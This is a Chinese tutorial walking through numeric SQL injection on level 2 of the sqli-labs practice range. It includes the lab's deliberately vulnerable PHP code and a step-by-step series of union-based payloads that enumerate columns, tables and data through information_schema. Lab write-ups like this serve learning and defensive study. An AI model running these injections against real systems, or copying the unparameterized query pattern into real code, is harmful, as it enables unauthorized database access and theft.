Java教程

sql注入--数字型

本文主要是介绍sql注入--数字型,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!

sql注入–数字型

靶场:sqli-labs-master
下载链接:靶场下载链接

第二关php源码

<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
// take the variables
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);


// connectivity 
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
echo $sql;
echo "<br/>";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

	if($row)
	{
  	echo "<font size='5' color= '#99FF00'>";
  	echo 'Your Login name:'. $row['username'];
  	echo "<br>";
  	echo 'Your Password:' .$row['password'];
  	echo "</font>";
  	}
	else 
	{
	echo '<font color= "#FFFF00">';
	print_r(mysql_error());
	echo "</font>";  
	}
}
	else
		{ 	
		echo "Please input the ID as parameter with numeric value";
		}

?>

补充知识:
1.php中双引号中语句会对变量进行解析,单引号中的不会
2.sql查询中如果查询条件不是数字的话,那么一定要加上引号,而数字型则不需要

首先测试?id=1
在这里插入图片描述
测试?id=abc
在这里插入图片描述
测试 ?id=’ %23
在这里插入图片描述

出现报错,说明我们的输入被拼接到了sql语句中并在后台进行查询了,并且查询条件中没有引号(因为使用单引号无法闭合),那么查询条件一定是数字,可以确定是数字型的注入

然后就和上一篇文章中的做法一样
sql注入–报错型

①.获取字段信息

SELECT * FROM users WHERE id=1 order by 3 # LIMIT 0,1

在这里插入图片描述
可以知道数据表存在3列

②.判断回显点

SELECT * FROM users WHERE id=0 union select 1,2,3 # LIMIT 0,1

由于数据库中不存在id为0的数据,故可以用此语句进行判断
在这里插入图片描述
由此可知,回显点为第2列和第3列

SELECT * FROM users WHERE id=0 union select 1,database(),version() # LIMIT 0,1

在这里插入图片描述
③.通过information_schema查询当前数据库中的所有表的名字

SELECT * FROM users WHERE id=0 union select 1,group_concat(table_name),user() from information_schema.tables where table_schema=database() # LIMIT 0,1

在这里插入图片描述
得到当前数据库中有4个表:emails,referers,uagents,users

④.通过联合查询information_schema中的columns获取表的字段名称

emails表

ELECT * FROM users WHERE id=0 union select 1,group_concat(column_name),user() from information_schema.columns where table_name='emails' # LIMIT 0,1

在这里插入图片描述
可得到emails表中有2个字段:id, email_id

referers表

SELECT * FROM users WHERE id=0 union select 1,group_concat(column_name),user() from information_schema.columns where table_name='referers' # LIMIT 0,1

在这里插入图片描述
得到referes表中有3个字段:id, referer,ip_address
其他表同理可得

⑤.获取指定表的数据信息
比如获取emails中的数据信息

SELECT * FROM users WHERE id=0 union select 1,id, email_id from emails where id=1 # LIMIT 0,1

在这里插入图片描述
其他表的信息同理可得

这篇关于sql注入--数字型的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!